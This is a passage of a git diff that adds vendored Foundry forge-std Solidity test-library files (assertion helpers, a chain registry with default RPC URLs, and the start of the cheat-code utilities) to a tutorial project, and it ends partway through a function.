+    function assertLt(int256 left, int256 right) internal pure virtual {
+        vm.assertLt(left, right);
+    }
+
+    function assertLt(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertLt(left, right, err);
+    }
+
+    function assertLtDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertLtDecimal(left, right, decimals);
+    }
+
+    function assertLtDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertLtDecimal(left, right, decimals, err);
+    }
+
+    function assertGt(uint256 left, uint256 right) internal pure virtual {
+        vm.assertGt(left, right);
+    }
+
+    function assertGt(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertGt(left, right, err);
+    }
+
+    function assertGtDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertGtDecimal(left, right, decimals);
+    }
+
+    function assertGtDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertGtDecimal(left, right, decimals, err);
+    }
+
+    function assertGt(int256 left, int256 right) internal pure virtual {
+        vm.assertGt(left, right);
+    }
+
+    function assertGt(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertGt(left, right, err);
+    }
+
+    function assertGtDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertGtDecimal(left, right, decimals);
+    }
+
+    function assertGtDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertGtDecimal(left, right, decimals, err);
+    }
+
+    function assertLe(uint256 left, uint256 right) internal pure virtual {
+        vm.assertLe(left, right);
+    }
+
+    function assertLe(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertLe(left, right, err);
+    }
+
+    function assertLeDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertLeDecimal(left, right, decimals);
+    }
+
+    function assertLeDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertLeDecimal(left, right, decimals, err);
+    }
+
+    function assertLe(int256 left, int256 right) internal pure virtual {
+        vm.assertLe(left, right);
+    }
+
+    function assertLe(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertLe(left, right, err);
+    }
+
+    function assertLeDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertLeDecimal(left, right, decimals);
+    }
+
+    function assertLeDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertLeDecimal(left, right, decimals, err);
+    }
+
+    function assertGe(uint256 left, uint256 right) internal pure virtual {
+        vm.assertGe(left, right);
+    }
+
+    function assertGe(uint256 left, uint256 right, string memory err) internal pure virtual {
+        vm.assertGe(left, right, err);
+    }
+
+    function assertGeDecimal(uint256 left, uint256 right, uint256 decimals) internal pure virtual {
+        vm.assertGeDecimal(left, right, decimals);
+    }
+
+    function assertGeDecimal(uint256 left, uint256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertGeDecimal(left, right, decimals, err);
+    }
+
+    function assertGe(int256 left, int256 right) internal pure virtual {
+        vm.assertGe(left, right);
+    }
+
+    function assertGe(int256 left, int256 right, string memory err) internal pure virtual {
+        vm.assertGe(left, right, err);
+    }
+
+    function assertGeDecimal(int256 left, int256 right, uint256 decimals) internal pure virtual {
+        vm.assertGeDecimal(left, right, decimals);
+    }
+
+    function assertGeDecimal(int256 left, int256 right, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertGeDecimal(left, right, decimals, err);
+    }
+
+    function assertApproxEqAbs(uint256 left, uint256 right, uint256 maxDelta) internal pure virtual {
+        vm.assertApproxEqAbs(left, right, maxDelta);
+    }
+
+    function assertApproxEqAbs(uint256 left, uint256 right, uint256 maxDelta, string memory err) internal pure virtual {
+        vm.assertApproxEqAbs(left, right, maxDelta, err);
+    }
+
+    function assertApproxEqAbsDecimal(uint256 left, uint256 right, uint256 maxDelta, uint256 decimals) internal pure virtual {
+        vm.assertApproxEqAbsDecimal(left, right, maxDelta, decimals);
+    }
+
+    function assertApproxEqAbsDecimal(uint256 left, uint256 right, uint256 maxDelta, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertApproxEqAbsDecimal(left, right, maxDelta, decimals, err);
+    }
+
+    function assertApproxEqAbs(int256 left, int256 right, uint256 maxDelta) internal pure virtual {
+        vm.assertApproxEqAbs(left, right, maxDelta);
+    }
+
+    function assertApproxEqAbs(int256 left, int256 right, uint256 maxDelta, string memory err) internal pure virtual {
+        vm.assertApproxEqAbs(left, right, maxDelta, err);
+    }
+
+    function assertApproxEqAbsDecimal(int256 left, int256 right, uint256 maxDelta, uint256 decimals) internal pure virtual {
+        vm.assertApproxEqAbsDecimal(left, right, maxDelta, decimals);
+    }
+
+    function assertApproxEqAbsDecimal(int256 left, int256 right, uint256 maxDelta, uint256 decimals, string memory err) internal pure virtual {
+        vm.assertApproxEqAbsDecimal(left, right, maxDelta, decimals, err);
+    }
+
+    function assertApproxEqRel(
+        uint256 left,
+        uint256 right,
+        uint256 maxPercentDelta // An 18 decimal fixed point number, where 1e18 == 100%
+    ) internal pure virtual {
+        vm.assertApproxEqRel(left, right, maxPercentDelta);
+    }
+
+    function assertApproxEqRel(
+        uint256 left,
+        uint256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        string memory err
+    ) internal pure virtual {
+        vm.assertApproxEqRel(left, right, maxPercentDelta, err);
+    }
+
+    function assertApproxEqRelDecimal(
+        uint256 left,
+        uint256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        uint256 decimals
+    ) internal pure virtual {
+        vm.assertApproxEqRelDecimal(left, right, maxPercentDelta, decimals);
+    }
+
+    function assertApproxEqRelDecimal(
+        uint256 left,
+        uint256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        uint256 decimals,
+        string memory err
+    ) internal pure virtual {
+        vm.assertApproxEqRelDecimal(left, right, maxPercentDelta, decimals, err);
+    }
+
+    function assertApproxEqRel(int256 left, int256 right, uint256 maxPercentDelta) internal pure virtual {
+        vm.assertApproxEqRel(left, right, maxPercentDelta);
+    }
+
+    function assertApproxEqRel(
+        int256 left,
+        int256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        string memory err
+    ) internal pure virtual {
+        vm.assertApproxEqRel(left, right, maxPercentDelta, err);
+    }
+
+    function assertApproxEqRelDecimal(
+        int256 left,
+        int256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        uint256 decimals
+    ) internal pure virtual {
+        vm.assertApproxEqRelDecimal(left, right, maxPercentDelta, decimals);
+    }
+
+    function assertApproxEqRelDecimal(
+        int256 left,
+        int256 right,
+        uint256 maxPercentDelta, // An 18 decimal fixed point number, where 1e18 == 100%
+        uint256 decimals,
+        string memory err
+    ) internal pure virtual {
+        vm.assertApproxEqRelDecimal(left, right, maxPercentDelta, decimals, err);
+    }
+
+    // Inherited from DSTest, not used but kept for backwards-compatibility
+    function checkEq0(bytes memory left, bytes memory right) internal pure returns (bool) {
+        return keccak256(left) == keccak256(right);
+    }
+
+    function assertEq0(bytes memory left, bytes memory right) internal pure virtual {
+        assertEq(left, right);
+    }
+
+    function assertEq0(bytes memory left, bytes memory right, string memory err) internal pure virtual {
+        assertEq(left, right, err);
+    }
+
+    function assertNotEq0(bytes memory left, bytes memory right) internal pure virtual {
+        assertNotEq(left, right);
+    }
+
+    function assertNotEq0(bytes memory left, bytes memory right, string memory err) internal pure virtual {
+        assertNotEq(left, right, err);
+    }
+
+    function assertEqCall(address target, bytes memory callDataA, bytes memory callDataB) internal virtual {
+        assertEqCall(target, callDataA, target, callDataB, true);
+    }
+
+    function assertEqCall(address targetA, bytes memory callDataA, address targetB, bytes memory callDataB) internal virtual {
+        assertEqCall(targetA, callDataA, targetB, callDataB, true);
+    }
+
+    function assertEqCall(address target, bytes memory callDataA, bytes memory callDataB, bool strictRevertData) internal virtual {
+        assertEqCall(target, callDataA, target, callDataB, strictRevertData);
+    }
+
+    function assertEqCall(address targetA, bytes memory callDataA, address targetB, bytes memory callDataB, bool strictRevertData) internal virtual {
+        (bool successA, bytes memory returnDataA) = address(targetA).call(callDataA);
+        (bool successB, bytes memory returnDataB) = address(targetB).call(callDataB);
+
+        if (successA && successB) {
+            assertEq(returnDataA, returnDataB, 'Call return data does not match');
+        }
+
+        if (!successA && !successB && strictRevertData) {
+            assertEq(returnDataA, returnDataB, 'Call revert data does not match');
+        }
+
+        if (!successA && successB) {
+            emit log('Error: Calls were not equal');
+            emit log_named_bytes('  Left call revert data', returnDataA);
+            emit log_named_bytes(' Right call return data', returnDataB);
+            revert('assertion failed');
+        }
+
+        if (successA && !successB) {
+            emit log('Error: Calls were not equal');
+            emit log_named_bytes('  Left call return data', returnDataA);
+            emit log_named_bytes(' Right call revert data', returnDataB);
+            revert('assertion failed');
+        }
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdChains.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdChains.sol
new file mode 100644
index 000000000..a976a4f43
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdChains.sol
@@ -0,0 +1,214 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+import {VmSafe} from './Vm.sol';
+
+/**
+ * StdChains provides information about EVM compatible chains that can be used in scripts/tests.
+ * For each chain, the chain's name, chain ID, and a default RPC URL are provided. Chains are
+ * identified by their alias, which is the same as the alias in the `[rpc_endpoints]` section of
+ * the `foundry.toml` file. For best UX, ensure the alias in the `foundry.toml` file match the
+ * alias used in this contract, which can be found as the first argument to the
+ * `setChainWithDefaultRpcUrl` call in the `initializeStdChains` function.
+ *
+ * There are two main ways to use this contract:
+ *   1. Set a chain with `setChain(string memory chainAlias, ChainData memory chain)` or
+ *      `setChain(string memory chainAlias, Chain memory chain)`
+ *   2. Get a chain with `getChain(string memory chainAlias)` or `getChain(uint256 chainId)`.
+ *
+ * The first time either of those are used, chains are initialized with the default set of RPC URLs.
+ * This is done in `initializeStdChains`, which uses `setChainWithDefaultRpcUrl`. Defaults are recorded in
+ * `defaultRpcUrls`.
+ *
+ * The `setChain` function is straightforward, and it simply saves off the given chain data.
+ *
+ * The `getChain` methods use `getChainWithUpdatedRpcUrl` to return a chain. For example, let's say
+ * we want to retrieve the RPC URL for `mainnet`:
+ *   - If you have specified data with `setChain`, it will return that.
+ *   - If you have configured a mainnet RPC URL in `foundry.toml`, it will return the URL, provided it
+ *     is valid (e.g. a URL is specified, or an environment variable is given and exists).
+ *   - If neither of the above conditions is met, the default data is returned.
+ *
+ * Summarizing the above, the prioritization hierarchy is `setChain` -> `foundry.toml` -> environment variable -> defaults.
+ */
+abstract contract StdChains {
+    VmSafe private constant vm = VmSafe(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    bool private stdChainsInitialized;
+
+    struct ChainData {
+        string name;
+        uint256 chainId;
+        string rpcUrl;
+    }
+
+    struct Chain {
+        // The chain name.
+        string name;
+        // The chain's Chain ID.
+        uint256 chainId;
+        // The chain's alias. (i.e. what gets specified in `foundry.toml`).
+        string chainAlias;
+        // A default RPC endpoint for this chain.
+        // NOTE: This default RPC URL is included for convenience to facilitate quick tests and
+        // experimentation. Do not use this RPC URL for production test suites, CI, or other heavy
+        // usage as you will be throttled and this is a disservice to others who need this endpoint.
+        string rpcUrl;
+    }
+
+    // Maps from the chain's alias (matching the alias in the `foundry.toml` file) to chain data.
+    mapping(string => Chain) private chains;
+    // Maps from the chain's alias to it's default RPC URL.
+    mapping(string => string) private defaultRpcUrls;
+    // Maps from a chain ID to it's alias.
+    mapping(uint256 => string) private idToAlias;
+
+    bool private fallbackToDefaultRpcUrls = true;
+
+    // The RPC URL will be fetched from config or defaultRpcUrls if possible.
+    function getChain(string memory chainAlias) internal virtual returns (Chain memory chain) {
+        require(bytes(chainAlias).length != 0, 'StdChains getChain(string): Chain alias cannot be the empty string.');
+
+        initializeStdChains();
+        chain = chains[chainAlias];
+        require(chain.chainId != 0, string(abi.encodePacked('StdChains getChain(string): Chain with alias "', chainAlias, '" not found.')));
+
+        chain = getChainWithUpdatedRpcUrl(chainAlias, chain);
+    }
+
+    function getChain(uint256 chainId) internal virtual returns (Chain memory chain) {
+        require(chainId != 0, 'StdChains getChain(uint256): Chain ID cannot be 0.');
+        initializeStdChains();
+        string memory chainAlias = idToAlias[chainId];
+
+        chain = chains[chainAlias];
+
+        require(chain.chainId != 0, string(abi.encodePacked('StdChains getChain(uint256): Chain with ID ', vm.toString(chainId), ' not found.')));
+
+        chain = getChainWithUpdatedRpcUrl(chainAlias, chain);
+    }
+
+    // set chain info, with priority to argument's rpcUrl field.
+    function setChain(string memory chainAlias, ChainData memory chain) internal virtual {
+        require(bytes(chainAlias).length != 0, 'StdChains setChain(string,ChainData): Chain alias cannot be the empty string.');
+
+        require(chain.chainId != 0, 'StdChains setChain(string,ChainData): Chain ID cannot be 0.');
+
+        initializeStdChains();
+        string memory foundAlias = idToAlias[chain.chainId];
+
+        require(
+            bytes(foundAlias).length == 0 || keccak256(bytes(foundAlias)) == keccak256(bytes(chainAlias)),
+            string(
+                abi.encodePacked(
+                    'StdChains setChain(string,ChainData): Chain ID ',
+                    vm.toString(chain.chainId),
+                    ' already used by "',
+                    foundAlias,
+                    '".'
+                )
+            )
+        );
+
+        uint256 oldChainId = chains[chainAlias].chainId;
+        delete idToAlias[oldChainId];
+
+        chains[chainAlias] = Chain({name: chain.name, chainId: chain.chainId, chainAlias: chainAlias, rpcUrl: chain.rpcUrl});
+        idToAlias[chain.chainId] = chainAlias;
+    }
+
+    // set chain info, with priority to argument's rpcUrl field.
+    function setChain(string memory chainAlias, Chain memory chain) internal virtual {
+        setChain(chainAlias, ChainData({name: chain.name, chainId: chain.chainId, rpcUrl: chain.rpcUrl}));
+    }
+
+    function _toUpper(string memory str) private pure returns (string memory) {
+        bytes memory strb = bytes(str);
+        bytes memory copy = new bytes(strb.length);
+        for (uint256 i = 0; i < strb.length; i++) {
+            bytes1 b = strb[i];
+            if (b >= 0x61 && b <= 0x7A) {
+                copy[i] = bytes1(uint8(b) - 32);
+            } else {
+                copy[i] = b;
+            }
+        }
+        return string(copy);
+    }
+
+    // lookup rpcUrl, in descending order of priority:
+    // current -> config (foundry.toml) -> environment variable -> default
+    function getChainWithUpdatedRpcUrl(string memory chainAlias, Chain memory chain) private view returns (Chain memory) {
+        if (bytes(chain.rpcUrl).length == 0) {
+            try vm.rpcUrl(chainAlias) returns (string memory configRpcUrl) {
+                chain.rpcUrl = configRpcUrl;
+            } catch (bytes memory err) {
+                string memory envName = string(abi.encodePacked(_toUpper(chainAlias), '_RPC_URL'));
+                if (fallbackToDefaultRpcUrls) {
+                    chain.rpcUrl = vm.envOr(envName, defaultRpcUrls[chainAlias]);
+                } else {
+                    chain.rpcUrl = vm.envString(envName);
+                }
+                // Distinguish 'not found' from 'cannot read'
+                // The upstream error thrown by forge for failing cheats changed so we check both the old and new versions
+                bytes memory oldNotFoundError = abi.encodeWithSignature('CheatCodeError', string(abi.encodePacked('invalid rpc url ', chainAlias)));
+                bytes memory newNotFoundError = abi.encodeWithSignature(
+                    'CheatcodeError(string)',
+                    string(abi.encodePacked('invalid rpc url: ', chainAlias))
+                );
+                bytes32 errHash = keccak256(err);
+                if ((errHash != keccak256(oldNotFoundError) && errHash != keccak256(newNotFoundError)) || bytes(chain.rpcUrl).length == 0) {
+                    /// @solidity memory-safe-assembly
+                    assembly {
+                        revert(add(32, err), mload(err))
+                    }
+                }
+            }
+        }
+        return chain;
+    }
+
+    function setFallbackToDefaultRpcUrls(bool useDefault) internal {
+        fallbackToDefaultRpcUrls = useDefault;
+    }
+
+    function initializeStdChains() private {
+        if (stdChainsInitialized) return;
+
+        stdChainsInitialized = true;
+
+        // If adding an RPC here, make sure to test the default RPC URL in `testRpcs`
+        setChainWithDefaultRpcUrl('anvil', ChainData('Anvil', 31337, 'http://127.0.0.1:8545'));
+        setChainWithDefaultRpcUrl('mainnet', ChainData('Mainnet', 1, 'https://eth-mainnet.alchemyapi.io/v2/pwc5rmJhrdoaSEfimoKEmsvOjKSmPDrP'));
+        setChainWithDefaultRpcUrl('sepolia', ChainData('Sepolia', 11155111, 'https://sepolia.infura.io/v3/b9794ad1ddf84dfb8c34d6bb5dca2001'));
+        setChainWithDefaultRpcUrl('holesky', ChainData('Holesky', 17000, 'https://rpc.holesky.ethpandaops.io'));
+        setChainWithDefaultRpcUrl('optimism', ChainData('Optimism', 10, 'https://mainnet.optimism.io'));
+        setChainWithDefaultRpcUrl('optimism_sepolia', ChainData('Optimism Sepolia', 11155420, 'https://sepolia.optimism.io'));
+        setChainWithDefaultRpcUrl('arbitrum_one', ChainData('Arbitrum One', 42161, 'https://arb1.arbitrum.io/rpc'));
+        setChainWithDefaultRpcUrl('arbitrum_one_sepolia', ChainData('Arbitrum One Sepolia', 421614, 'https://sepolia-rollup.arbitrum.io/rpc'));
+        setChainWithDefaultRpcUrl('arbitrum_nova', ChainData('Arbitrum Nova', 42170, 'https://nova.arbitrum.io/rpc'));
+        setChainWithDefaultRpcUrl('polygon', ChainData('Polygon', 137, 'https://polygon-rpc.com'));
+        setChainWithDefaultRpcUrl('polygon_mumbai', ChainData('Polygon Mumbai', 80001, 'https://rpc-mumbai.maticvigil.com'));
+        setChainWithDefaultRpcUrl('avalanche', ChainData('Avalanche', 43114, 'https://api.avax.network/ext/bc/C/rpc'));
+        setChainWithDefaultRpcUrl('avalanche_fuji', ChainData('Avalanche Fuji', 43113, 'https://api.avax-test.network/ext/bc/C/rpc'));
+        setChainWithDefaultRpcUrl('bnb_smart_chain', ChainData('BNB Smart Chain', 56, 'https://bsc-dataseed1.binance.org'));
+        setChainWithDefaultRpcUrl('bnb_smart_chain_testnet', ChainData('BNB Smart Chain Testnet', 97, 'https://rpc.ankr.com/bsc_testnet_chapel'));
+        setChainWithDefaultRpcUrl('gnosis_chain', ChainData('Gnosis Chain', 100, 'https://rpc.gnosischain.com'));
+        setChainWithDefaultRpcUrl('moonbeam', ChainData('Moonbeam', 1284, 'https://rpc.api.moonbeam.network'));
+        setChainWithDefaultRpcUrl('moonriver', ChainData('Moonriver', 1285, 'https://rpc.api.moonriver.moonbeam.network'));
+        setChainWithDefaultRpcUrl('moonbase', ChainData('Moonbase', 1287, 'https://rpc.testnet.moonbeam.network'));
+        setChainWithDefaultRpcUrl('base_sepolia', ChainData('Base Sepolia', 84532, 'https://sepolia.base.org'));
+        setChainWithDefaultRpcUrl('base', ChainData('Base', 8453, 'https://mainnet.base.org'));
+        setChainWithDefaultRpcUrl('fraxtal', ChainData('Fraxtal', 252, 'https://rpc.frax.com'));
+        setChainWithDefaultRpcUrl('fraxtal_testnet', ChainData('Fraxtal Testnet', 2522, 'https://rpc.testnet.frax.com'));
+    }
+
+    // set chain info, with priority to chainAlias' rpc url in foundry.toml
+    function setChainWithDefaultRpcUrl(string memory chainAlias, ChainData memory chain) private {
+        string memory rpcUrl = chain.rpcUrl;
+        defaultRpcUrls[chainAlias] = rpcUrl;
+        chain.rpcUrl = '';
+        setChain(chainAlias, chain);
+        chain.rpcUrl = rpcUrl; // restore argument
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdCheats.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdCheats.sol
new file mode 100644
index 000000000..c6b7da332
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdCheats.sol
@@ -0,0 +1,782 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import {StdStorage, stdStorage} from './StdStorage.sol';
+import {console2} from './console2.sol';
+import {Vm} from './Vm.sol';
+
+abstract contract StdCheatsSafe {
+    Vm private constant vm = Vm(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    uint256 private constant UINT256_MAX = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
+
+    bool private gasMeteringOff;
+
+    // Data structures to parse Transaction objects from the broadcast artifact
+    // that conform to EIP1559. The Raw structs is what is parsed from the JSON
+    // and then converted to the one that is used by the user for better UX.
+
+    struct RawTx1559 {
+        string[] arguments;
+        address contractAddress;
+        string contractName;
+        // json value name = function
+        string functionSig;
+        bytes32 hash;
+        // json value name = tx
+        RawTx1559Detail txDetail;
+        // json value name = type
+        string opcode;
+    }
+
+    struct RawTx1559Detail {
+        AccessList[] accessList;
+        bytes data;
+        address from;
+        bytes gas;
+        bytes nonce;
+        address to;
+        bytes txType;
+        bytes value;
+    }
+
+    struct Tx1559 {
+        string[] arguments;
+        address contractAddress;
+        string contractName;
+        string functionSig;
+        bytes32 hash;
+        Tx1559Detail txDetail;
+        string opcode;
+    }
+
+    struct Tx1559Detail {
+        AccessList[] accessList;
+        bytes data;
+        address from;
+        uint256 gas;
+        uint256 nonce;
+        address to;
+        uint256 txType;
+        uint256 value;
+    }
+
+    // Data structures to parse Transaction objects from the broadcast artifact
+    // that DO NOT conform to EIP1559. The Raw structs is what is parsed from the JSON
+    // and then converted to the one that is used by the user for better UX.
+
+    struct TxLegacy {
+        string[] arguments;
+        address contractAddress;
+        string contractName;
+        string functionSig;
+        string hash;
+        string opcode;
+        TxDetailLegacy transaction;
+    }
+
+    struct TxDetailLegacy {
+        AccessList[] accessList;
+        uint256 chainId;
+        bytes data;
+        address from;
+        uint256 gas;
+        uint256 gasPrice;
+        bytes32 hash;
+        uint256 nonce;
+        bytes1 opcode;
+        bytes32 r;
+        bytes32 s;
+        uint256 txType;
+        address to;
+        uint8 v;
+        uint256 value;
+    }
+
+    struct AccessList {
+        address accessAddress;
+        bytes32[] storageKeys;
+    }
+
+    // Data structures to parse Receipt objects from the broadcast artifact.
+    // The Raw structs is what is parsed from the JSON
+    // and then converted to the one that is used by the user for better UX.
+
+    struct RawReceipt {
+        bytes32 blockHash;
+        bytes blockNumber;
+        address contractAddress;
+        bytes cumulativeGasUsed;
+        bytes effectiveGasPrice;
+        address from;
+        bytes gasUsed;
+        RawReceiptLog[] logs;
+        bytes logsBloom;
+        bytes status;
+        address to;
+        bytes32 transactionHash;
+        bytes transactionIndex;
+    }
+
+    struct Receipt {
+        bytes32 blockHash;
+        uint256 blockNumber;
+        address contractAddress;
+        uint256 cumulativeGasUsed;
+        uint256 effectiveGasPrice;
+        address from;
+        uint256 gasUsed;
+        ReceiptLog[] logs;
+        bytes logsBloom;
+        uint256 status;
+        address to;
+        bytes32 transactionHash;
+        uint256 transactionIndex;
+    }
+
+    // Data structures to parse the entire broadcast artifact, assuming the
+    // transactions conform to EIP1559.
+
+    struct EIP1559ScriptArtifact {
+        string[] libraries;
+        string path;
+        string[] pending;
+        Receipt[] receipts;
+        uint256 timestamp;
+        Tx1559[] transactions;
+        TxReturn[] txReturns;
+    }
+
+    struct RawEIP1559ScriptArtifact {
+        string[] libraries;
+        string path;
+        string[] pending;
+        RawReceipt[] receipts;
+        TxReturn[] txReturns;
+        uint256 timestamp;
+        RawTx1559[] transactions;
+    }
+
+    struct RawReceiptLog {
+        // json value = address
+        address logAddress;
+        bytes32 blockHash;
+        bytes blockNumber;
+        bytes data;
+        bytes logIndex;
+        bool removed;
+        bytes32[] topics;
+        bytes32 transactionHash;
+        bytes transactionIndex;
+        bytes transactionLogIndex;
+    }
+
+    struct ReceiptLog {
+        // json value = address
+        address logAddress;
+        bytes32 blockHash;
+        uint256 blockNumber;
+        bytes data;
+        uint256 logIndex;
+        bytes32[] topics;
+        uint256 transactionIndex;
+        uint256 transactionLogIndex;
+        bool removed;
+    }
+
+    struct TxReturn {
+        string internalType;
+        string value;
+    }
+
+    struct Account {
+        address addr;
+        uint256 key;
+    }
+
+    enum AddressType {
+        Payable,
+        NonPayable,
+        ZeroAddress,
+        Precompile,
+        ForgeAddress
+    }
+
+    // Checks that `addr` is not blacklisted by token contracts that have a blacklist.
+    function assumeNotBlacklisted(address token, address addr) internal view virtual {
+        // Nothing to check if `token` is not a contract.
+        uint256 tokenCodeSize;
+        assembly {
+            tokenCodeSize := extcodesize(token)
+        }
+        require(tokenCodeSize > 0, 'StdCheats assumeNotBlacklisted(address,address): Token address is not a contract.');
+
+        bool success;
+        bytes memory returnData;
+
+        // 4-byte selector for `isBlacklisted(address)`, used by USDC.
+        (success, returnData) = token.staticcall(abi.encodeWithSelector(0xfe575a87, addr));
+        vm.assume(!success || abi.decode(returnData, (bool)) == false);
+
+        // 4-byte selector for `isBlackListed(address)`, used by USDT.
+        (success, returnData) = token.staticcall(abi.encodeWithSelector(0xe47d6060, addr));
+        vm.assume(!success || abi.decode(returnData, (bool)) == false);
+    }
+
+    // Checks that `addr` is not blacklisted by token contracts that have a blacklist.
+    // This is identical to `assumeNotBlacklisted(address,address)` but with a different name, for
+    // backwards compatibility, since this name was used in the original PR which has already has
+    // a release. This function can be removed in a future release once we want a breaking change.
+    function assumeNoBlacklisted(address token, address addr) internal view virtual {
+        assumeNotBlacklisted(token, addr);
+    }
+
+    function assumeAddressIsNot(address addr, AddressType addressType) internal virtual {
+        if (addressType == AddressType.Payable) {
+            assumeNotPayable(addr);
+        } else if (addressType == AddressType.NonPayable) {
+            assumePayable(addr);
+        } else if (addressType == AddressType.ZeroAddress) {
+            assumeNotZeroAddress(addr);
+        } else if (addressType == AddressType.Precompile) {
+            assumeNotPrecompile(addr);
+        } else if (addressType == AddressType.ForgeAddress) {
+            assumeNotForgeAddress(addr);
+        }
+    }
+
+    function assumeAddressIsNot(address addr, AddressType addressType1, AddressType addressType2) internal virtual {
+        assumeAddressIsNot(addr, addressType1);
+        assumeAddressIsNot(addr, addressType2);
+    }
+
+    function assumeAddressIsNot(address addr, AddressType addressType1, AddressType addressType2, AddressType addressType3) internal virtual {
+        assumeAddressIsNot(addr, addressType1);
+        assumeAddressIsNot(addr, addressType2);
+        assumeAddressIsNot(addr, addressType3);
+    }
+
+    function assumeAddressIsNot(
+        address addr,
+        AddressType addressType1,
+        AddressType addressType2,
+        AddressType addressType3,
+        AddressType addressType4
+    ) internal virtual {
+        assumeAddressIsNot(addr, addressType1);
+        assumeAddressIsNot(addr, addressType2);
+        assumeAddressIsNot(addr, addressType3);
+        assumeAddressIsNot(addr, addressType4);
+    }
+
+    // This function checks whether an address, `addr`, is payable. It works by sending 1 wei to
+    // `addr` and checking the `success` return value.
+    // NOTE: This function may result in state changes depending on the fallback/receive logic
+    // implemented by `addr`, which should be taken into account when this function is used.
+    function _isPayable(address addr) private returns (bool) {
+        require(addr.balance < UINT256_MAX, 'StdCheats _isPayable(address): Balance equals max uint256, so it cannot receive any more funds');
+        uint256 origBalanceTest = address(this).balance;
+        uint256 origBalanceAddr = address(addr).balance;
+
+        vm.deal(address(this), 1);
+        (bool success, ) = payable(addr).call{value: 1}('');
+
+        // reset balances
+        vm.deal(address(this), origBalanceTest);
+        vm.deal(addr, origBalanceAddr);
+
+        return success;
+    }
+
+    // NOTE: This function may result in state changes depending on the fallback/receive logic
+    // implemented by `addr`, which should be taken into account when this function is used. See the
+    // `_isPayable` method for more information.
+    function assumePayable(address addr) internal virtual {
+        vm.assume(_isPayable(addr));
+    }
+
+    function assumeNotPayable(address addr) internal virtual {
+        vm.assume(!_isPayable(addr));
+    }
+
+    function assumeNotZeroAddress(address addr) internal pure virtual {
+        vm.assume(addr != address(0));
+    }
+
+    function assumeNotPrecompile(address addr) internal pure virtual {
+        assumeNotPrecompile(addr, _pureChainId());
+    }
+
+    function assumeNotPrecompile(address addr, uint256 chainId) internal pure virtual {
+        // Note: For some chains like Optimism these are technically predeploys (i.e. bytecode placed at a specific
+        // address), but the same rationale for excluding them applies so we include those too.
+
+        // These should be present on all EVM-compatible chains.
+        vm.assume(addr < address(0x1) || addr > address(0x9));
+
+        // forgefmt: disable-start
+        if (chainId == 10 || chainId == 420) {
+            // https://github.com/ethereum-optimism/optimism/blob/eaa371a0184b56b7ca6d9eb9cb0a2b78b2ccd864/op-bindings/predeploys/addresses.go#L6-L21
+            vm.assume(addr < address(0x4200000000000000000000000000000000000000) || addr > address(0x4200000000000000000000000000000000000800));
+        } else if (chainId == 42161 || chainId == 421613) {
+            // https://developer.arbitrum.io/useful-addresses#arbitrum-precompiles-l2-same-on-all-arb-chains
+            vm.assume(addr < address(0x0000000000000000000000000000000000000064) || addr > address(0x0000000000000000000000000000000000000068));
+        } else if (chainId == 43114 || chainId == 43113) {
+            // https://github.com/ava-labs/subnet-evm/blob/47c03fd007ecaa6de2c52ea081596e0a88401f58/precompile/params.go#L18-L59
+            vm.assume(addr < address(0x0100000000000000000000000000000000000000) || addr > address(0x01000000000000000000000000000000000000ff));
+            vm.assume(addr < address(0x0200000000000000000000000000000000000000) || addr > address(0x02000000000000000000000000000000000000FF));
+            vm.assume(addr < address(0x0300000000000000000000000000000000000000) || addr > address(0x03000000000000000000000000000000000000Ff));
+        }
+        // forgefmt: disable-end
+    }
+
+    function assumeNotForgeAddress(address addr) internal pure virtual {
+        // vm, console, and Create2Deployer addresses
+        vm.assume(addr != address(vm) && addr != 0x000000000000000000636F6e736F6c652e6c6f67 && addr != 0x4e59b44847b379578588920cA78FbF26c0B4956C);
+    }
+
+    function readEIP1559ScriptArtifact(string memory path) internal view virtual returns (EIP1559ScriptArtifact memory) {
+        string memory data = vm.readFile(path);
+        bytes memory parsedData = vm.parseJson(data);
+        RawEIP1559ScriptArtifact memory rawArtifact = abi.decode(parsedData, (RawEIP1559ScriptArtifact));
+        EIP1559ScriptArtifact memory artifact;
+        artifact.libraries = rawArtifact.libraries;
+        artifact.path = rawArtifact.path;
+        artifact.timestamp = rawArtifact.timestamp;
+        artifact.pending = rawArtifact.pending;
